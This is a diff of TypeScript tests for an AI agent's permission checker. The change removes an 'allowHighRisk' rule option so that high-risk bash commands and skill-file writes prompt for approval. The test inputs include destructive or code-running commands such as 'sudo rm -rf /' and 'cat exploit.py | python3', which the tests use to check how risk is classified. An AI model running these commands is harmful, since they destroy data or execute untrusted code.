+ test("strict mode: high-risk bash with allow rule prompts in non-containerized env", async () => {
2541
2814
  testConfig.permissions.mode = "strict";
2542
2815
  addRule("bash", "kill *", "everywhere", "allow", 2000);
2543
2816
  const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
@@ -2547,47 +2820,27 @@ describe("Permission Checker", () => {
2547
2820
 
2548
2821
  test("strict mode: medium-risk with matching allow rule auto-allows", async () => {
2549
2822
  testConfig.permissions.mode = "strict";
2550
- addRule("bash", "chmod *", "/tmp", "allow");
2823
+ // Use git push (medium risk) since chmod is now high-risk in the registry
2824
+ addRule("bash", "git push *", "/tmp", "allow");
2551
2825
  const result = await check(
2552
2826
  "bash",
2553
- { command: "chmod 644 file.txt" },
2827
+ { command: "git push origin main" },
2554
2828
  "/tmp",
2555
2829
  );
2556
2830
  expect(result.decision).toBe("allow");
2557
2831
  expect(result.reason).toContain("Matched trust rule");
2558
2832
  });
2559
2833
 
2560
- test("strict mode: deny rule overrides allowHighRisk rule even in strict mode", async () => {
2834
+ test("strict mode: deny rule overrides allow rule for high-risk", async () => {
2561
2835
  testConfig.permissions.mode = "strict";
2562
- addRule("bash", "kill *", "everywhere", "allow", 100, {
2563
- allowHighRisk: true,
2564
- });
2836
+ addRule("bash", "kill *", "everywhere", "allow", 100);
2565
2837
  addRule("bash", "kill *", "everywhere", "deny", 200);
2566
2838
  const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
2567
2839
  expect(result.decision).toBe("deny");
2568
2840
  expect(result.reason).toContain("deny rule");
2569
2841
  });
2570
2842
 
2571
- test("strict mode: scaffold_managed_skill with allowHighRisk auto-allows", async () => {
2572
- testConfig.permissions.mode = "strict";
2573
- addRule(
2574
- "scaffold_managed_skill",
2575
- "scaffold_managed_skill:my-skill",
2576
- "everywhere",
2577
- "allow",
2578
- 2000,
2579
- { allowHighRisk: true },
2580
- );
2581
- const result = await check(
2582
- "scaffold_managed_skill",
2583
- { skill_id: "my-skill" },
2584
- "/tmp",
2585
- );
2586
- expect(result.decision).toBe("allow");
2587
- expect(result.reason).toContain("high-risk trust rule");
2588
- });
2589
-
2590
- test("strict mode: scaffold_managed_skill without allowHighRisk still prompts", async () => {
2843
+ test("strict mode: scaffold_managed_skill with allow rule still prompts (non-bash)", async () => {
2591
2844
  testConfig.permissions.mode = "strict";
2592
2845
  addRule(
2593
2846
  "scaffold_managed_skill",
@@ -2602,12 +2855,11 @@ describe("Permission Checker", () => {
2602
2855
  "/tmp",
2603
2856
  );
2604
2857
  expect(result.decision).toBe("prompt");
2605
- expect(result.reason).toContain("High risk");
2606
2858
  });
2607
2859
  });
2608
2860
 
2609
2861
  // ── skill mutation approval regression tests (PR 30) ──────────
2610
- // Lock full behavior for skill-source edit/write prompts, allowHighRisk
2862
+ // Lock full behavior for skill-source edit/write prompts, high-risk
2611
2863
  // persistence, and version mismatch rejection.
2612
2864
 
2613
2865
  describe("skill mutation approval regressions (PR 30)", () => {
@@ -2702,10 +2954,10 @@ describe("Permission Checker", () => {
2702
2954
  });
2703
2955
  });
2704
2956
 
2705
- // ── always_allow_high_risk: persisted allow auto-allows on repeat ──
2957
+ // ── high-risk skill source writes: non-bash tools always prompt ──
2706
2958
 
2707
- describe("always_allow_high_risk: persisted rule auto-allows subsequent requests", () => {
2708
- test("file_write to skill source with allowHighRisk rule auto-allows", async () => {
2959
+ describe("high-risk skill source writes always prompt (non-bash, no runtime auto-allow)", () => {
2960
+ test("file_write to skill source with allow rule still prompts", async () => {
2709
2961
  ensureSkillsDir();
2710
2962
  const skillPath = join(
2711
2963
  checkerTestDir,
@@ -2719,15 +2971,12 @@ describe("Permission Checker", () => {
2719
2971
  "/tmp",
2720
2972
  "allow",
2721
2973
  2000,
2722
- { allowHighRisk: true },
2723
2974
  );
2724
2975
  const result = await check("file_write", { path: skillPath }, "/tmp");
2725
- expect(result.decision).toBe("allow");
2726
- expect(result.reason).toContain("high-risk trust rule");
2727
- expect(result.matchedRule!.allowHighRisk).toBe(true);
2976
+ expect(result.decision).toBe("prompt");
2728
2977
  });
2729
2978
 
2730
- test("file_edit of skill source with allowHighRisk rule auto-allows", async () => {
2979
+ test("file_edit of skill source with allow rule still prompts", async () => {
2731
2980
  ensureSkillsDir();
2732
2981
  const skillPath = join(
2733
2982
  checkerTestDir,
@@ -2741,56 +2990,12 @@ describe("Permission Checker", () => {
2741
2990
  "/tmp",
2742
2991
  "allow",
2743
2992
  2000,
2744
- { allowHighRisk: true },
2745
2993
  );
2746
2994
  const result = await check("file_edit", { path: skillPath }, "/tmp");
2747
- expect(result.decision).toBe("allow");
2748
- expect(result.reason).toContain("high-risk trust rule");
2749
- });
2750
-
2751
- test("file_write to skill source with allow rule (no allowHighRisk) still prompts", async () => {
2752
- ensureSkillsDir();
2753
- const skillPath = join(
2754
- checkerTestDir,
2755
- "skills",
2756
- "my-skill",
2757
- "executor.ts",
2758
- );
2759
- addRule(
2760
- "file_write",
2761
- `file_write:${checkerTestDir}/skills/**`,
2762
- "/tmp",
2763
- "allow",
2764
- 2000,
2765
- );
2766
- const result = await check("file_write", { path: skillPath }, "/tmp");
2767
2995
  expect(result.decision).toBe("prompt");
2768
- expect(result.reason).toContain("High risk");
2769
- });
2770
-
2771
- test("strict mode: file_write to skill source with allowHighRisk rule auto-allows", async () => {
2772
- testConfig.permissions.mode = "strict";
2773
- ensureSkillsDir();
2774
- const skillPath = join(
2775
- checkerTestDir,
2776
- "skills",
2777
- "my-skill",
2778
- "executor.ts",
2779
- );
2780
- addRule(
2781
- "file_write",
2782
- `file_write:${checkerTestDir}/skills/**`,
2783
- "/tmp",
2784
- "allow",
2785
- 2000,
2786
- { allowHighRisk: true },
2787
- );
2788
- const result = await check("file_write", { path: skillPath }, "/tmp");
2789
- expect(result.decision).toBe("allow");
2790
- expect(result.reason).toContain("high-risk trust rule");
2791
2996
  });
2792
2997
 
2793
- test("deny rule for skill source takes precedence over allowHighRisk rule", async () => {
2998
+ test("deny rule for skill source takes precedence over allow rule", async () => {
2794
2999
  ensureSkillsDir();
2795
3000
  const skillPath = join(
2796
3001
  checkerTestDir,
@@ -2804,7 +3009,6 @@ describe("Permission Checker", () => {
2804
3009
  "/tmp",
2805
3010
  "allow",
2806
3011
  100,
2807
- { allowHighRisk: true },
2808
3012
  );
2809
3013
  addRule(
2810
3014
  "file_write",
@@ -2838,26 +3042,7 @@ describe("Permission Checker", () => {
2838
3042
  mkdirSync(wsSkillsDir, { recursive: true });
2839
3043
  }
2840
3044
 
2841
- test("user allowHighRisk rule at priority 100 overrides default ask for skill source writes", async () => {
2842
- ensureSkillsDir();
2843
- const skillPath = join(wsSkillsDir, "my-skill", "executor.ts");
2844
- addRule(
2845
- "file_write",
2846
- `file_write:${wsSkillsDir}/**`,
2847
- "everywhere",
2848
- "allow",
2849
- 100,
2850
- { allowHighRisk: true },
2851
- );
2852
- const result = await check("file_write", { path: skillPath }, "/tmp");
2853
- // The user's allow rule (priority 100) must win over the default ask (priority 50),
2854
- // and allowHighRisk must auto-allow the High-risk skill mutation.
2855
- expect(result.decision).toBe("allow");
2856
- expect(result.reason).toContain("high-risk trust rule");
2857
- expect(result.matchedRule!.allowHighRisk).toBe(true);
2858
- });
2859
-
2860
- test("user allow rule without allowHighRisk at priority 100 overrides default ask but high-risk still prompts", async () => {
3045
+ test("user allow rule at priority 100 overrides default ask but high-risk non-bash still prompts", async () => {
2861
3046
  ensureSkillsDir();
2862
3047
  const skillPath = join(wsSkillsDir, "my-skill", "executor.ts");
2863
3048
  addRule(
@@ -2868,10 +3053,9 @@ describe("Permission Checker", () => {
2868
3053
  100,
2869
3054
  );
2870
3055
  const result = await check("file_write", { path: skillPath }, "/tmp");
2871
- // The user rule wins over default ask, but skill mutations are High risk,
2872
- // so the allow rule without allowHighRisk falls through to high-risk prompt.
3056
+ // The user rule wins over default ask, but skill mutations are High risk
3057
+ // and shouldAutoAllowHighRisk only covers containerized bash.
2873
3058
  expect(result.decision).toBe("prompt");
2874
- expect(result.reason).toContain("High risk");
2875
3059
  });
2876
3060
 
2877
3061
  test("without user rule, default ask rule matches and prompts for skill source mutations", async () => {
@@ -3584,7 +3768,6 @@ describe("Permission Checker", () => {
3584
3768
  scope: string;
3585
3769
  decision: "allow" | "deny" | "ask";
3586
3770
  priority: number;
3587
- allowHighRisk?: boolean;
3588
3771
  }): Promise<void> {
3589
3772
  const trustPath = join(checkerTestDir, "protected", "trust.json");
3590
3773
  const {
@@ -3836,7 +4019,7 @@ describe("Permission Checker", () => {
3836
4019
  "executor.ts",
3837
4020
  );
3838
4021
  const risk = await classifyRisk("file_write", { path: skillPath });
3839
- expect(risk).toBe(RiskLevel.High);
4022
+ expect(risk.level).toBe(RiskLevel.High);
3840
4023
  });
3841
4024
 
3842
4025
  test("file_edit of skill file is classified as High risk", async () => {
@@ -3848,7 +4031,7 @@ describe("Permission Checker", () => {
3848
4031
  "SKILL.md",
3849
4032
  );
3850
4033
  const risk = await classifyRisk("file_edit", { path: skillPath });
3851
- expect(risk).toBe(RiskLevel.High);
4034
+ expect(risk.level).toBe(RiskLevel.High);
3852
4035
  });
3853
4036
 
3854
4037
  test("host_file_write to skill directory is classified as High risk", async () => {
@@ -3860,7 +4043,7 @@ describe("Permission Checker", () => {
3860
4043
  "executor.ts",
3861
4044
  );
3862
4045
  const risk = await classifyRisk("host_file_write", { path: skillPath });
3863
- expect(risk).toBe(RiskLevel.High);
4046
+ expect(risk.level).toBe(RiskLevel.High);
3864
4047
  });
3865
4048
 
3866
4049
  test("host_file_edit of skill file is classified as High risk", async () => {
@@ -3872,7 +4055,7 @@ describe("Permission Checker", () => {
3872
4055
  "SKILL.md",
3873
4056
  );
3874
4057
  const risk = await classifyRisk("host_file_edit", { path: skillPath });
3875
- expect(risk).toBe(RiskLevel.High);
4058
+ expect(risk.level).toBe(RiskLevel.High);
3876
4059
  });
3877
4060
 
3878
4061
  test("file_read of skill file remains Low risk (reads not escalated)", async () => {
@@ -3884,7 +4067,7 @@ describe("Permission Checker", () => {
3884
4067
  "TOOLS.json",
3885
4068
  );
3886
4069
  const risk = await classifyRisk("file_read", { path: skillPath });
3887
- expect(risk).toBe(RiskLevel.Low);
4070
+ expect(risk.level).toBe(RiskLevel.Low);
3888
4071
  });
3889
4072
 
3890
4073
  test("generic allow rule cannot bypass high-risk skill mutation prompt", async () => {
@@ -3901,7 +4084,7 @@ describe("Permission Checker", () => {
3901
4084
  expect(result.reason).toContain("High risk");
3902
4085
  });
3903
4086
 
3904
- test("allowHighRisk: true rule can explicitly approve skill mutation", async () => {
4087
+ test("allow rule for skill mutation prompts (high risk, non-bash tool)", async () => {
3905
4088
  ensureSkillsDir();
3906
4089
  const skillPath = join(
3907
4090
  checkerTestDir,
@@ -3915,11 +4098,9 @@ describe("Permission Checker", () => {
3915
4098
  "/tmp",
3916
4099
  "allow",
3917
4100
  2000,
3918
- { allowHighRisk: true },
3919
4101
  );
3920
4102
  const result = await check("file_write", { path: skillPath }, "/tmp");
3921
- expect(result.decision).toBe("allow");
3922
- expect(result.reason).toContain("high-risk trust rule");
4103
+ expect(result.decision).toBe("prompt");
3923
4104
  });
3924
4105
  });
3925
4106
 
@@ -3930,9 +4111,11 @@ describe("Permission Checker", () => {
3930
4111
  test("wildcard allow rule matches any command in workspace mode", async () => {
3931
4112
  testConfig.permissions.mode = "workspace";
3932
4113
  addRule("bash", "*", "everywhere");
4114
+ // Use curl (medium risk) since chmod is now high-risk and
4115
+ // allow rules don't auto-allow high-risk commands
3933
4116
  const result = await check(
3934
4117
  "bash",
3935
- { command: "chmod 644 file.txt" },
4118
+ { command: "curl https://example.com" },
3936
4119
  "/tmp",
3937
4120
  );
3938
4121
  expect(result.decision).toBe("allow");
@@ -3942,9 +4125,11 @@ describe("Permission Checker", () => {
3942
4125
  test("wildcard allow rule matches any command in strict mode", async () => {
3943
4126
  testConfig.permissions.mode = "strict";
3944
4127
  addRule("bash", "*", "everywhere");
4128
+ // Use curl (medium risk) since chmod is now high-risk and
4129
+ // allow rules don't auto-allow high-risk commands
3945
4130
  const result = await check(
3946
4131
  "bash",
3947
- { command: "chmod 644 file.txt" },
4132
+ { command: "curl https://example.com" },
3948
4133
  "/tmp",
3949
4134
  );
3950
4135
  expect(result.decision).toBe("allow");
@@ -3967,18 +4152,15 @@ describe("Permission Checker", () => {
3967
4152
  expect(r2.decision).toBe("allow");
3968
4153
  });
3969
4154
 
3970
- test("high-risk allowHighRisk: true rule auto-allows dangerous commands", async () => {
3971
- addRule("bash", "sudo *", "everywhere", "allow", 2000, {
3972
- allowHighRisk: true,
3973
- });
4155
+ test("high-risk bash with allow rule prompts in non-containerized environment", async () => {
4156
+ addRule("bash", "sudo *", "everywhere", "allow", 2000);
3974
4157
  const result = await check(
3975
4158
  "bash",
3976
4159
  { command: "sudo rm -rf /" },
3977
4160
  "/tmp",
3978
4161
  );
3979
- expect(result.decision).toBe("allow");
3980
- expect(result.reason).toContain("high-risk trust rule");
3981
- expect(result.matchedRule!.allowHighRisk).toBe(true);
4162
+ // Non-containerized bash: shouldAutoAllowHighRisk returns false
4163
+ expect(result.decision).toBe("prompt");
3982
4164
  });
3983
4165
 
3984
4166
  test("broad skill_load wildcard rule allows all skill loads in strict mode", async () => {
@@ -4030,7 +4212,7 @@ describe("Permission Checker", () => {
4030
4212
  { path: join(extraSkillDir, "my-skill", "foo.ts") },
4031
4213
  "/tmp",
4032
4214
  );
4033
- expect(risk).toBe(RiskLevel.High);
4215
+ expect(risk.level).toBe(RiskLevel.High);
4034
4216
  }),
4035
4217
  );
4036
4218
 
@@ -4042,7 +4224,7 @@ describe("Permission Checker", () => {
4042
4224
  { path: join(extraSkillDir, "my-skill", "SKILL.md") },
4043
4225
  "/tmp",
4044
4226
  );
4045
- expect(risk).toBe(RiskLevel.High);
4227
+ expect(risk.level).toBe(RiskLevel.High);
4046
4228
  }),
4047
4229
  );
4048
4230
 
@@ -4052,7 +4234,7 @@ describe("Permission Checker", () => {
4052
4234
  const risk = await classifyRisk("host_file_write", {
4053
4235
  path: join(extraSkillDir, "my-skill", "executor.ts"),
4054
4236
  });
4055
- expect(risk).toBe(RiskLevel.High);
4237
+ expect(risk.level).toBe(RiskLevel.High);
4056
4238
  }),
4057
4239
  );
4058
4240
 
@@ -4062,7 +4244,7 @@ describe("Permission Checker", () => {
4062
4244
  const risk = await classifyRisk("host_file_edit", {
4063
4245
  path: join(extraSkillDir, "my-skill", "SKILL.md"),
4064
4246
  });
4065
- expect(risk).toBe(RiskLevel.High);
4247
+ expect(risk.level).toBe(RiskLevel.High);
4066
4248
  }),
4067
4249
  );
4068
4250
 
@@ -4074,7 +4256,7 @@ describe("Permission Checker", () => {
4074
4256
  { path: "/tmp/unrelated.txt" },
4075
4257
  "/tmp",
4076
4258
  );
4077
- expect(risk).toBe(RiskLevel.Low);
4259
+ expect(risk.level).toBe(RiskLevel.Low);
4078
4260
  }),
4079
4261
  );
4080
4262
 
@@ -4126,7 +4308,7 @@ describe("Permission Checker", () => {
4126
4308
  expect(bashRule).toBeDefined();
4127
4309
  expect(bashRule!.tool).toBe("bash");
4128
4310
  expect(bashRule!.pattern).toBe("**");
4129
- expect(bashRule!.allowHighRisk).toBe(true);
4311
+ expect(bashRule!.decision).toBe("allow");
4130
4312
  } finally {
4131
4313
  if (orig === undefined) {
4132
4314
  delete process.env.IS_CONTAINERIZED;
@@ -4251,75 +4433,6 @@ describe("Permission Checker", () => {
4251
4433
  });
4252
4434
  });
4253
4435
 
4254
- // ── browser tool permission baselines ─────────────────────────────
4255
- // All 10 browser tools are core-registered and RiskLevel.Low by default.
4256
- // These tests lock that baseline so the migration can verify it's preserved.
4257
-
4258
- describe("browser tool permission baselines", () => {
4259
- const browserToolNames = [
4260
- "browser_navigate",
4261
- "browser_snapshot",
4262
- "browser_screenshot",
4263
- "browser_close",
4264
- "browser_click",
4265
- "browser_type",
4266
- "browser_press_key",
4267
- "browser_wait_for",
4268
- "browser_extract",
4269
- "browser_fill_credential",
4270
- ] as const;
4271
-
4272
- // Register mock browser tools with the correct metadata so classifyRisk
4273
- // resolves them without pulling in the full headless-browser module
4274
- // (which depends on playwright and browser-manager).
4275
- beforeAll(() => {
4276
- for (const name of browserToolNames) {
4277
- // Skip if already registered (e.g. via initializeTools)
4278
- if (getTool(name)) continue;
4279
-
4280
- registerTool({
4281
- name,
4282
- description: `Mock ${name} for permission baseline`,
4283
- category: "browser",
4284
- defaultRiskLevel: RiskLevel.Low,
4285
- getDefinition: () => ({
4286
- name,
4287
- description: `Mock ${name}`,
4288
- input_schema: { type: "object" as const, properties: {} },
4289
- }),
4290
- execute: async () => ({ content: "ok", isError: false }),
4291
- });
4292
- }
4293
- });
4294
-
4295
- for (const toolName of browserToolNames) {
4296
- test(`${toolName} has RiskLevel.Low default risk`, async () => {
4297
- const risk = await classifyRisk(toolName, {});
4298
- expect(risk).toBe(RiskLevel.Low);
4299
- });
4300
- }
4301
-
4302
- test("browser tools are auto-allowed in workspace mode", async () => {
4303
- testConfig.permissions = { mode: "workspace" };
4304
- for (const toolName of browserToolNames) {
4305
- const result = await check(toolName, {}, "/tmp");
4306
- expect(result.decision).toBe("allow");
4307
- }
4308
- });
4309
-
4310
- test("browser tools are auto-allowed in strict mode via default allow rules", async () => {
4311
- testConfig.permissions = { mode: "strict" };
4312
- try {
4313
- for (const toolName of browserToolNames) {
4314
- const result = await check(toolName, {}, "/tmp");
4315
- expect(result.decision).toBe("allow");
4316
- }
4317
- } finally {
4318
- testConfig.permissions = { mode: "workspace" };
4319
- }
4320
- });
4321
- });
4322
-
4323
4436
  // ── default allow: skill_load ──────────────────────────────────
4324
4437
 
4325
4438
  describe("default allow: skill_load", () => {
@@ -4342,51 +4455,6 @@ describe("Permission Checker", () => {
4342
4455
  expect(result.decision).toBe("allow");
4343
4456
  });
4344
4457
  });
4345
-
4346
- // ── default allow: browser tools ──────────────────────────────
4347
-
4348
- describe("default allow: browser tools", () => {
4349
- beforeEach(() => {
4350
- clearCache();
4351
- testConfig.permissions = { mode: "strict" };
4352
- });
4353
-
4354
- test("all browser tools are allowed by default rules in strict mode", async () => {
4355
- const browserTools = [
4356
- "browser_navigate",
4357
- "browser_snapshot",
4358
- "browser_screenshot",
4359
- "browser_close",
4360
- "browser_click",
4361
- "browser_type",
4362
- "browser_press_key",
4363
- "browser_wait_for",
4364
- "browser_extract",
4365
- "browser_fill_credential",
4366
- ];
4367
-
4368
- for (const tool of browserTools) {
4369
- const result = await check(tool, {}, "/tmp");
4370
- expect(result.decision).toBe("allow");
4371
- }
4372
- });
4373
-
4374
- test("browser_navigate with a real URL is allowed in strict mode", async () => {
4375
- const result = await check(
4376
- "browser_navigate",
4377
- { url: "https://example.com/path/to/page" },
4378
- "/tmp",
4379
- );
4380
- expect(result.decision).toBe("allow");
4381
- });
4382
-
4383
- test("non-browser skill tools are NOT auto-allowed", async () => {
4384
- // skill_test_tool is a registered skill-origin tool without a default
4385
- // allow rule — it should prompt in strict mode.
4386
- const result = await check("skill_test_tool", {}, "/tmp");
4387
- expect(result.decision).not.toBe("allow");
4388
- });
4389
- });
4390
4458
  });
4391
4459
 
4392
4460
  describe("bash network_mode=proxied — risk capped at medium", () => {
@@ -4412,22 +4480,24 @@ describe("bash network_mode=proxied — risk capped at medium", () => {
4412
4480
  command: "cat exploit.py | python3",
4413
4481
  network_mode: "proxied",
4414
4482
  });
4415
- expect(risk).toBe(RiskLevel.Medium);
4483
+ expect(risk.level).toBe(RiskLevel.Medium);
4416
4484
  });
4417
4485
 
4418
- test("pipe to python3 -c is not high risk (inline code, not stdin exec)", async () => {
4486
+ test("pipe to python3 -c is high risk (registry: python3 executes arbitrary code)", async () => {
4487
+ // python3 is classified as high-risk in the registry because it can
4488
+ // execute arbitrary Python code. The -c flag does not downgrade the risk.
4419
4489
  const risk = await classifyRisk("bash", {
4420
4490
  command:
4421
4491
  'cat data.json | python3 -c "import sys; print(sys.stdin.read())"',
4422
4492
  });
4423
- expect(risk).toBe(RiskLevel.Low);
4493
+ expect(risk.level).toBe(RiskLevel.High);
4424
4494
  });
4425
4495
 
4426
4496
  test("pipe to python3 without -c is high risk (stdin exec)", async () => {
4427
4497
  const risk = await classifyRisk("bash", {
4428
4498
  command: "cat exploit.py | python3",
4429
4499
  });
4430
- expect(risk).toBe(RiskLevel.High);
4500
+ expect(risk.level).toBe(RiskLevel.High);
4431
4501
  });
4432
4502
 
4433
4503
  test("proxied bash with high-risk command prompts (medium risk cap, no default allow rule)", async () => {
@@ -4459,10 +4529,12 @@ describe("bash network_mode=proxied — risk capped at medium", () => {
4459
4529
  });
4460
4530
 
4461
4531
  test("non-proxied bash with trust rule follows normal flow", async () => {
4462
- addRule("bash", "chmod *", "/tmp");
4532
+ // Use git push (medium risk) since chmod is now high-risk in the registry
4533
+ // and high-risk commands are never auto-allowed by allow rules
4534
+ addRule("bash", "git push *", "/tmp");
4463
4535
  const result = await check(
4464
4536
  "bash",
4465
- { command: "chmod 644 file.txt" },
4537
+ { command: "git push origin main" },
4466
4538
  "/tmp",
4467
4539
  );
4468
4540
  expect(result.decision).toBe("allow");
@@ -4530,7 +4602,7 @@ describe("computer-use tool permission defaults", () => {
4530
4602
  const risk = await classifyRisk(name, {});
4531
4603
  // CU tools are proxy tools with RiskLevel.Low, but classifyRisk looks them up
4532
4604
  // in the registry. In workspace mode, Low risk tools are auto-allowed.
4533
- expect(risk).toBe(RiskLevel.Low);
4605
+ expect(risk.level).toBe(RiskLevel.Low);
4534
4606
  }
4535
4607
  });
4536
4608
  });
@@ -4921,15 +4993,17 @@ describe("integration regressions (PR 11)", () => {
4921
4993
  // Simulate a user who saved an action:npm rule
4922
4994
  addRule("bash", "action:npm", "everywhere");
4923
4995
 
4924
- // Various npm commands should be auto-allowed via the action key
4925
- const r1 = await check("bash", { command: "npm install" }, "/tmp");
4996
+ // npm list is low-risk and should be auto-allowed via the action key
4997
+ const r1 = await check("bash", { command: "npm list" }, "/tmp");
4926
4998
  expect(r1.decision).toBe("allow");
4927
4999
 
5000
+ // npm test and npm run build are high-risk (execute arbitrary scripts)
5001
+ // so they prompt even with an allow rule
4928
5002
  const r2 = await check("bash", { command: "npm test" }, "/tmp");
4929
- expect(r2.decision).toBe("allow");
5003
+ expect(r2.decision).toBe("prompt");
4930
5004
 
4931
5005
  const r3 = await check("bash", { command: "npm run build" }, "/tmp");
4932
- expect(r3.decision).toBe("allow");
5006
+ expect(r3.decision).toBe("prompt");
4933
5007
  });
4934
5008
 
4935
5009
  test("action key rule does not match when command is part of complex chain", async () => {
@@ -4948,7 +5022,7 @@ describe("integration regressions (PR 11)", () => {
4948
5022
  });
4949
5023
 
4950
5024
  test("raw legacy rule still works alongside new action key system", async () => {
4951
- // Use host_bash with medium-risk commands (chmod) so they aren't
5025
+ // Use host_bash with medium-risk commands (curl) so they aren't
4952
5026
  // auto-allowed by low-risk classification or a default allow-all rule.
4953
5027
  try {
4954
5028
  rmSync(join(checkerTestDir, "protected", "trust.json"));
@@ -4956,20 +5030,20 @@ describe("integration regressions (PR 11)", () => {
4956
5030
  /* may not exist */
4957
5031
  }
4958
5032
  clearCache();
4959
- addRule("host_bash", "chmod 644 file.txt", "everywhere");
5033
+ addRule("host_bash", "curl https://example.com", "everywhere");
4960
5034
 
4961
5035
  // Exact match still works
4962
5036
  const r1 = await check(
4963
5037
  "host_bash",
4964
- { command: "chmod 644 file.txt" },
5038
+ { command: "curl https://example.com" },
4965
5039
  "/tmp",
4966
5040
  );
4967
5041
  expect(r1.decision).toBe("allow");
4968
5042
 
4969
- // Different chmod argument should not match this exact raw rule
5043
+ // Different curl argument should not match this exact raw rule
4970
5044
  const r2 = await check(
4971
5045
  "host_bash",
4972
- { command: "chmod 755 other.txt" },
5046
+ { command: "curl https://other.com" },
4973
5047
  "/tmp",
4974
5048
  );
4975
5049
  expect(r2.decision).not.toBe("allow");